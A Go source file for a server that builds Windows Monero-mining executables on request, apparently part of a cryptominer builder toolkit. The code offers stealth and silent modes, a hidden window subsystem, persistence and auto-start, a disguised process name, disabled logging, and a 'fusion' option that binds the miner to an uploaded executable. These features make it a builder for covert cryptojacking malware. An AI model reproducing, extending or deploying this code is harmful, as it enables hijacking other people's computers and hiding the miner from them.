AetherForge/server/internal/builder/handler.go

package builder

import (
	"encoding/json"
	"fmt"
	"io"
	"log"
	"mime/multipart"
	"net/http"
	"os"
	"os/exec"
	"path/filepath"
	"strings"
	"time"

	"crypto-miner-server/internal/db"
	"crypto-miner-server/internal/models"

	"github.com/go-chi/chi/v5"
	"github.com/google/uuid"
)

type BuildRequest struct {
	WorkerName          string `json:"worker_name"`
	ServerURL           string `json:"server_url"`
	Wallet              string `json:"wallet"`
	OutputDir           string `json:"output_dir"`
	Threads             int    `json:"threads"`
	ThreadMode          string `json:"thread_mode"`
	ThreadPercent       int    `json:"thread_percent"`
	CPUPriority         string `json:"cpu_priority"`
	MiningMode          string `json:"mining_mode"`
	DisplayMode         string `json:"display_mode"`
	SilentMode          bool   `json:"silent_mode"`
	RunAs               string `json:"run_as"`
	AutoStart           bool   `json:"auto_start"`
	Persistence         bool   `json:"persistence"`
	ProcessName         string `json:"process_name"`
	MaxCPUUsagePct      int    `json:"max_cpu_usage_pct"`
	MaxMemoryPct        int    `json:"max_memory_percent"`
	MinFreeRAMMB        int    `json:"min_free_ram_mb"`
	IdleThresholdPct    int    `json:"idle_threshold_pct"`
	IdleDurationMinutes int    `json:"idle_duration_minutes"`
	ScheduleStart       string `json:"schedule_start"`
	ScheduleEnd         string `json:"schedule_end"`
	InstallBase         string `json:"install_base"`
	InstallCustomBase   string `json:"install_custom_base"`
	InstallRelativePath string `json:"install_relative_path"`
	AdaptToHardware     bool   `json:"adapt_to_hardware"`
	SelfHealing         bool   `json:"self_healing"`
	FileLogging         bool   `json:"file_logging"`
	StealthMode         bool   `json:"stealth_mode"`
	PoolHost            string `json:"pool_host"`
	PoolPort            int    `json:"pool_port"`
	PoolTLS             bool   `json:"pool_tls"`
	PoolPass            string `json:"pool_pass"`
	FusionEnabled       bool   `json:"fusion_enabled"`
	FusionRunOrder      string `json:"fusion_run_order"`
	FusionOutputName    string `json:"fusion_output_name"`
	// AI Autonomy (Ollama)
	AIEnabled        bool   `json:"ai_enabled"`
	AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
	AIModel          string `json:"ai_model"`
}

type BuildResponse struct {
	Success              bool   `json:"success"`
	BuildID              string `json:"build_id,omitempty"`
	FileName             string `json:"file_name,omitempty"`
	FilePath             string `json:"file_path,omitempty"`
	RelativePath         string `json:"relative_path,omitempty"`
	FileSize             int64  `json:"file_size,omitempty"`
	DownloadURL          string `json:"download_url,omitempty"`
	UninstallFileName    string `json:"uninstall_file_name,omitempty"`
	UninstallPath        string `json:"uninstall_path,omitempty"`
	UninstallDownloadURL string `json:"uninstall_download_url,omitempty"`
	FusionEnabled        bool   `json:"fusion_enabled,omitempty"`
	WorkerFile           string `json:"worker_file,omitempty"`
	Error                string `json:"error,omitempty"`
}

type Handler struct {
	db          *db.Database
	dataDir     string
	agentSrcDir string
	projectRoot string
	goBinPath   string
	policy      BuildPolicy
}

type BuildPolicy struct {
	StrictWalletValidation bool
	MaxBuildSizeMB         int
}

func (h *Handler) SetBuildPolicy(p BuildPolicy) {
	h.policy = p
}

func NewHandler(database *db.Database, dataDir string, agentSrcDir string, projectRoot string) *Handler {
	goBin := "go"
	if _, err := exec.LookPath("go"); err == nil {
		goBin = "go"
	}
	return &Handler{
		db:          database,
		dataDir:     dataDir,
		agentSrcDir: agentSrcDir,
		projectRoot: projectRoot,
		goBinPath:   goBin,
	}
}

func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
	if r.Method != http.MethodPost {
		http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
		return
	}

	var req BuildRequest
	var prepPath string
	var cleanupPrep func()

	contentType := r.Header.Get("Content-Type")
	if strings.HasPrefix(contentType, "multipart/form-data") {
		if err := r.ParseMultipartForm(150 << 20); err != nil {
			writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid multipart form"})
			return
		}
		configJSON := r.FormValue("config")
		if configJSON == "" {
			writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Missing config field"})
			return
		}
		if err := json.Unmarshal([]byte(configJSON), &req); err != nil {
			writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid config JSON"})
			return
		}
		file, header, err := r.FormFile("prep_exe")
		if err != nil {
			writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion requires prep_exe file upload"})
			return
		}
		defer file.Close()
		saved, remove, err := h.saveUploadedPrep(file, header)
		if err != nil {
			writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()})
			return
		}
		prepPath = saved
		cleanupPrep = remove
	} else {
		if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
			writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid request body"})
			return
		}
	}

	if cleanupPrep != nil {
		defer cleanupPrep()
	}

	if err := h.normalizeRequest(&req); err != nil {
		writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()})
		return
	}
	if req.FusionEnabled && prepPath == "" {
		writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion enabled but no prep.exe uploaded"})
		return
	}

	resp, status, outputPath := h.buildAgent(&req, prepPath)
	if !resp.Success {
		writeJSON(w, status, resp)
		return
	}

	if r.URL.Query().Get("download") == "1" {
		w.Header().Set("Content-Type", "application/octet-stream")
		w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, resp.FileName))
		http.ServeFile(w, r, outputPath)
		return
	}

	writeJSON(w, http.StatusOK, resp)
}

func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) {
	buildID := chi.URLParam(r, "id")
	build, err := h.db.GetBuild(buildID)
	if err != nil {
		http.Error(w, "Build not found", http.StatusNotFound)
		return
	}
	if _, err := os.Stat(build.FilePath); err != nil {
		http.Error(w, "Build file missing", http.StatusNotFound)
		return
	}
	w.Header().Set("Content-Type", "application/octet-stream")
	w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, filepath.Base(build.FilePath)))
	http.ServeFile(w, r, build.FilePath)
}

func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) {
	buildID := chi.URLParam(r, "id")
	build, err := h.db.GetBuild(buildID)
	if err != nil {
		http.Error(w, "Build not found", http.StatusNotFound)
		return
	}
	uninstallPath := strings.TrimSuffix(build.FilePath, filepath.Base(build.FilePath)) +
		fmt.Sprintf("uninstall-%s.ps1", sanitizeFileName(build.WorkerName))
	if _, err := os.Stat(uninstallPath); err != nil {
		http.Error(w, "Uninstall script missing", http.StatusNotFound)
		return
	}
	w.Header().Set("Content-Type", "application/octet-stream")
	w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, filepath.Base(uninstallPath)))
	http.ServeFile(w, r, uninstallPath)
}

func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse, int, string) {
	buildID := uuid.New().String()
	buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
	agentDir := filepath.Join(buildDir, "agent")

	if err := os.MkdirAll(agentDir, 0755); err != nil {
		return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, ""
	}

	if err := h.copyAgentSource(agentDir); err != nil {
		log.Printf("Failed to copy agent source: %v", err)
		return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, ""
	}

	configDir := filepath.Join(agentDir, "config")
	if err := os.MkdirAll(configDir, 0755); err != nil {
		return BuildResponse{Success: false, Error: "Failed to create config directory"}, http.StatusInternalServerError, ""
	}
	if err := os.WriteFile(filepath.Join(configDir, "builtin.go"), []byte(h.generateBuiltinConfig(buildID, req)), 0644); err != nil {
		return BuildResponse{Success: false, Error: "Failed to write built-in config"}, http.StatusInternalServerError, ""
	}

	workerName := fmt.Sprintf("install-%s.exe", sanitizeFileName(req.WorkerName))
	if req.FusionEnabled {
		workerName = fmt.Sprintf("worker-%s.exe", sanitizeFileName(req.WorkerName))
	}
	outputPath, _ := filepath.Abs(filepath.Join(buildDir, workerName))

	ldflags := "-s -w"
	if req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode || req.StealthMode || req.FusionEnabled {
		ldflags += " -H windowsgui"
	}

	cmd := exec.Command(h.goBinPath, "build", "-trimpath", "-ldflags", ldflags, "-o", outputPath, ".")
	cmd.Dir = agentDir
	cmd.Env = append(os.Environ(),
		"GOOS=windows",
		"GOARCH=amd64",
		"CGO_ENABLED=0",
	)

	output, err := cmd.CombinedOutput()
	if err != nil {
		log.Printf("Build failed: %v\nOutput: %s", err, string(output))
		return BuildResponse{Success: false, Error: fmt.Sprintf("Build failed: %s", strings.TrimSpace(string(output)))}, http.StatusInternalServerError, ""
	}

	finalPath := outputPath
	finalName := workerName
	var fusionEnabled bool

	uninstallName, uninstallPath, err := h.writeUninstallScript(buildDir, buildID, req)
	if err != nil {
		return BuildResponse{Success: false, Error: "Failed to write uninstall script: " + err.Error()}, http.StatusInternalServerError, ""
	}

	if req.FusionEnabled {
		fusedPath, err := h.buildFusion(buildDir, prepPath, outputPath, req.FusionOutputName, req.FusionRunOrder)
		if err != nil {
			return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
		}
		finalPath = fusedPath
		finalName = filepath.Base(fusedPath)
		fusionEnabled = true
	}

	// Optional "export" copy for convenience (still keeps canonical build inside data/builds/<id>/...)
	// We only allow relative paths under dataDir to avoid writing outside the server workspace.
	if strings.TrimSpace(req.OutputDir) != "" {
		exportDir := filepath.Join(h.dataDir, filepath.Clean(strings.TrimSpace(req.OutputDir)))
		rel, err := filepath.Rel(h.dataDir, exportDir)
		if err != nil || rel == "." || strings.HasPrefix(rel, "..") {
			return BuildResponse{Success: false, Error: "Invalid output_dir (must be a relative folder under data_dir)"}, http.StatusBadRequest, ""
		}
		if err := os.MkdirAll(exportDir, 0755); err != nil {
			return BuildResponse{Success: false, Error: "Failed to create output_dir"}, http.StatusInternalServerError, ""
		}
		exportPath := filepath.Join(exportDir, finalName)
		if err := copyFile(finalPath, exportPath); err != nil {
			return BuildResponse{Success: false, Error: "Failed to export build to output_dir"}, http.StatusInternalServerError, ""
		}
		exportUninstall := filepath.Join(exportDir, uninstallName)
		_ = copyFile(uninstallPath, exportUninstall)
	}

	fileInfo, err := os.Stat(finalPath)
	if err != nil {
		return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, ""
	}
	if h.policy.MaxBuildSizeMB > 0 {
		maxBytes := int64(h.policy.MaxBuildSizeMB) * 1024 * 1024
		if fileInfo.Size() > maxBytes {
			_ = os.RemoveAll(buildDir)
			return BuildResponse{Success: false, Error: fmt.Sprintf("build exceeds max size (%d MB)", h.policy.MaxBuildSizeMB)}, http.StatusBadRequest, ""
		}
	}

	absPath, _ := filepath.Abs(finalPath)
	relPath, _ := filepath.Rel(h.projectRoot, absPath)
	if relPath == "" || strings.HasPrefix(relPath, "..") {
		relPath = filepath.Join(h.dataDir, "builds", buildID, finalName)
	}

	buildRecord := &models.BuildRecord{
		ID:         buildID,
		WorkerName: req.WorkerName,
		ServerURL:  req.ServerURL,
		Wallet:     req.Wallet,
		Threads:    req.Threads,
		FileSize:   fileInfo.Size(),
		FilePath:   absPath,
		CreatedAt:  time.Now(),
		PoolHost:   req.PoolHost,
		PoolPort:   req.PoolPort,
		PoolTLS:    req.PoolTLS,
		PoolPass:   req.PoolPass,
	}
	if err := h.db.InsertBuild(buildRecord); err != nil {
		log.Printf("Failed to record build: %v", err)
	}

	return BuildResponse{
		Success:              true,
		BuildID:              buildID,
		FileName:             finalName,
		FilePath:             absPath,
		RelativePath:         relPath,
		FileSize:             fileInfo.Size(),
		DownloadURL:          fmt.Sprintf("/api/v1/builds/%s/download", buildID),
		UninstallFileName:    uninstallName,
		UninstallPath:        uninstallPath,
		UninstallDownloadURL: fmt.Sprintf("/api/v1/builds/%s/uninstall", buildID),
		FusionEnabled:        fusionEnabled,
		WorkerFile:           workerName,
	}, http.StatusOK, finalPath
}

func (h *Handler) normalizeRequest(req *BuildRequest) error {
	if req.WorkerName == "" {
		return fmt.Errorf("worker_name is required")
	}
	if req.ServerURL == "" {
		return fmt.Errorf("server_url is required")
	}
	if req.Wallet == "" {
		return fmt.Errorf("wallet is required")
	}
	if h.policy.StrictWalletValidation && !looksLikeXMRWallet(req.Wallet) {
		return fmt.Errorf("wallet must be a valid Monero mainnet address (starts with 4, 95 chars)")
	}
	req.OutputDir = strings.TrimSpace(req.OutputDir)
	if req.OutputDir != "" {
		// must be relative to data_dir; no drive letters, no absolute paths, no traversal
		clean := filepath.Clean(req.OutputDir)
		if clean == "." || strings.HasPrefix(clean, "..") || filepath.IsAbs(clean) || strings.Contains(clean, ":") {
			return fmt.Errorf("output_dir must be a relative folder under data_dir")
		}
		req.OutputDir = clean
	}
	if req.Threads <= 0 {
		req.Threads = 4
	}
	if req.ThreadMode == "" {
		req.ThreadMode = "percent"
	}
	if req.ThreadPercent <= 0 {
		req.ThreadPercent = 75
	}
	if req.ThreadPercent > 100 {
		req.ThreadPercent = 100
	}
	if req.DisplayMode == "" {
		if req.SilentMode {
			req.DisplayMode = "silent"
		} else {
			req.DisplayMode = "background"
		}
	}
	if req.Persistence {
		req.AutoStart = true
	}
	if req.ProcessName == "" {
		req.ProcessName = sanitizeFileName(req.WorkerName)
	}
	if req.MaxMemoryPct <= 0 {
		req.MaxMemoryPct = 70
	}
	if req.CPUPriority == "" {
		req.CPUPriority = "below_normal"
	}
	if req.MiningMode == "" {
		req.MiningMode = "always"
	}
	if req.RunAs == "" {
		req.RunAs = "user"
	}
	if req.MaxCPUUsagePct <= 0 {
		req.MaxCPUUsagePct = 80
	}
	if req.MinFreeRAMMB <= 0 {
		req.MinFreeRAMMB = 1024
	}
	if req.IdleThresholdPct <= 0 {
		req.IdleThresholdPct = 20
	}
	if req.IdleDurationMinutes <= 0 {
		req.IdleDurationMinutes = 5
	}
	if req.ScheduleStart == "" {
		req.ScheduleStart = "21:00"
	}
	if req.ScheduleEnd == "" {
		req.ScheduleEnd = "06:00"
	}
	if req.InstallBase == "" {
		req.InstallBase = "localappdata"
	}
	if req.InstallRelativePath == "" {
		req.InstallRelativePath = "CryptoMiner/{worker}-{build_short}"
	}
	if req.InstallBase == "custom" && strings.TrimSpace(req.InstallCustomBase) == "" {
		return fmt.Errorf("install_custom_base is required when install_base is custom")
	}
	if req.StealthMode {
		req.FileLogging = false
		if req.DisplayMode == "" || req.DisplayMode == "visible" {
			req.DisplayMode = "background"
		}
	}
	if req.PoolHost == "" {
		req.PoolHost = "pool.supportxmr.com"
	}
	if req.PoolPort <= 0 {
		req.PoolPort = 3333
	}
	if req.PoolPass == "" {
		req.PoolPass = "x"
	}
	if req.FusionEnabled {
		if req.FusionOutputName == "" {
			req.FusionOutputName = "prep.exe"
		}
		if req.FusionRunOrder == "" {
			req.FusionRunOrder = "parallel"
		}
		if req.DisplayMode == "" || req.DisplayMode == "visible" {
			req.DisplayMode = "background"
		}
	}
	if req.AIEnabled {
		if req.AIOllamaEndpoint == "" {
			req.AIOllamaEndpoint = "http://localhost:11434"
		}
		if req.AIModel == "" {
			req.AIModel = "llama3.2"
		}
	}
	return nil
}

func (h *Handler) saveUploadedPrep(file multipart.File, header *multipart.FileHeader) (string, func(), error) {
	if header == nil || header.Size == 0 {
		return "", nil, fmt.Errorf("prep.exe upload is empty")
	}
	if header.Size > 150<<20 {
		return "", nil, fmt.Errorf("prep.exe exceeds 150MB limit")
	}
	name := strings.ToLower(header.Filename)
	if !strings.HasSuffix(name, ".exe") {
		return "", nil, fmt.Errorf("prep upload must be a .exe file")
	}

	prepRoot := filepath.Join(h.dataDir, "preps")
	if err := os.MkdirAll(prepRoot, 0755); err != nil {
		return "", nil, fmt.Errorf("failed to create preps directory: %w", err)
	}
	dir, err := os.MkdirTemp(prepRoot, "upload-*")
	if err != nil {
		return "", nil, err
	}
	dest := filepath.Join(dir, "prep.exe")
	out, err := os.Create(dest)
	if err != nil {
		os.RemoveAll(dir)
		return "", nil, err
	}
	if _, err := io.Copy(out, file); err != nil {
		out.Close()
		os.RemoveAll(dir)
		return "", nil, err
	}
	out.Close()
	cleanup := func() { _ = os.RemoveAll(dir) }
	return dest, cleanup, nil
}

func (h *Handler) generateBuiltinConfig(buildID string, req *BuildRequest) string {
	return fmt.Sprintf(`// Code generated by Miner Builder - DO NOT EDIT
// Build ID: %s
// Generated at: %s

package config

import "time"

func GetBuiltinConfig() BuiltinConfig {
	return BuiltinConfig{
		WorkerName:  %q,
		ServerURL:   %q,
		Wallet:      %q,
		Threads:     %d,
		ThreadMode:  %q,
		ThreadPercent: %d,
		CPUPriority: %q,
		MiningMode:  %q,
		DisplayMode: %q,
		SilentMode:  %v,
		RunAs:       %q,
		AutoStart:   %v,
		ProcessName: %q,
		BuildID:     %q,
		BuiltAt:     time.Unix(%d, 0),
		PoolHost:    %q,
		PoolPort:    %d,
		PoolTLS:     %v,
		PoolPass:    %q,
		MaxCPUUsage: %d,
		MaxMemoryPct: %d,
		MinFreeRAM:  %d,
		IdleThresholdPct:    %d,
		IdleDurationMinutes: %d,
		ScheduleStart:       %q,
		ScheduleEnd:         %q,
		InstallBase:         %q,
		InstallCustomBase:   %q,
		InstallRelativePath: %q,
		AdaptToHardware:     %v,
		SelfHealing:         %v,
		FileLogging:         %v,
		StealthMode:         %v,
		AIEnabled:           %v,
		AIOllamaEndpoint:    %q,
		AIModel:             %q,
	}
}
`, buildID, time.Now().UTC().Format(time.RFC3339),
		req.WorkerName,
		req.ServerURL,
		req.Wallet,
		req.Threads,
		req.ThreadMode,
		req.ThreadPercent,
		req.CPUPriority,
		req.MiningMode,
		req.DisplayMode,
		req.SilentMode,
		req.RunAs,
		req.AutoStart,
		req.ProcessName,
		buildID,
		time.Now().Unix(),
		req.PoolHost,
		req.PoolPort,
		req.PoolTLS,
		req.PoolPass,
		req.MaxCPUUsagePct,
		req.MaxMemoryPct,
		req.MinFreeRAMMB,
		req.IdleThresholdPct,
		req.IdleDurationMinutes,
		req.ScheduleStart,
		req.ScheduleEnd,
		req.InstallBase,
		req.InstallCustomBase,
		req.InstallRelativePath,
		req.AdaptToHardware,
		req.SelfHealing,
		req.FileLogging,
		req.StealthMode,
		req.AIEnabled,
		req.AIOllamaEndpoint,
		req.AIModel,
	)
}

func (h *Handler) copyAgentSource(destDir string) error {
	srcDir := h.agentSrcDir
	return filepath.Walk(srcDir, func(path string, info os.FileInfo, err error) error {
		if err != nil {
			return err
		}
		relPath, err := filepath.Rel(srcDir, path)
		if err != nil {
			return err
		}
		if relPath == "config"+string(os.PathSeparator)+"builtin.go" {
			return nil
		}
		destPath := filepath.Join(destDir, relPath)
		if info.IsDir() {
			return os.MkdirAll(destPath, 0755)
		}
		if info.Mode()&os.ModeSymlink != 0 {
			return nil
		}
		ext := filepath.Ext(path)
		base := filepath.Base(path)
		if ext != ".go" && base != "go.mod" && base != "go.sum" {
			return nil
		}
		return copyFile(path, destPath)
	})
}

func copyFile(src, dest string) error {
	in, err := os.Open(src)
	if err != nil {
		return err
	}
	defer in.Close()
	if err := os.MkdirAll(filepath.Dir(dest), 0755); err != nil {
		return err
	}
	out, err := os.Create(dest)
	if err != nil {
		return err
	}
	defer out.Close()
	_, err = io.Copy(out, in)
	return err
}

func looksLikeXMRWallet(addr string) bool {
	a := strings.TrimSpace(addr)
	if len(a) < 90 || len(a) > 106 {
		return false
	}
	if a[0] != '4' {
		return false
	}
	for i := 1; i < len(a); i++ {
		c := a[i]
		if (c >= '0' && c <= '9') || (c >= 'A' && c <= 'Z') || (c >= 'a' && c <= 'z') {
			continue
		}
		return false
	}
	return true
}

func sanitizeFileName(name string) string {
	replacer := strings.NewReplacer(
		" ", "-", "/", "-", "\\", "-", ":", "-",
		"*", "", "?", "", "\"", "", "<", "", ">", "", "|", "",
	)
	return replacer.Replace(name)
}

func writeJSON(w http.ResponseWriter, status int, v interface{}) {
	w.Header().Set("Content-Type", "application/json")
	w.WriteHeader(status)
	json.NewEncoder(w).Encode(v)
}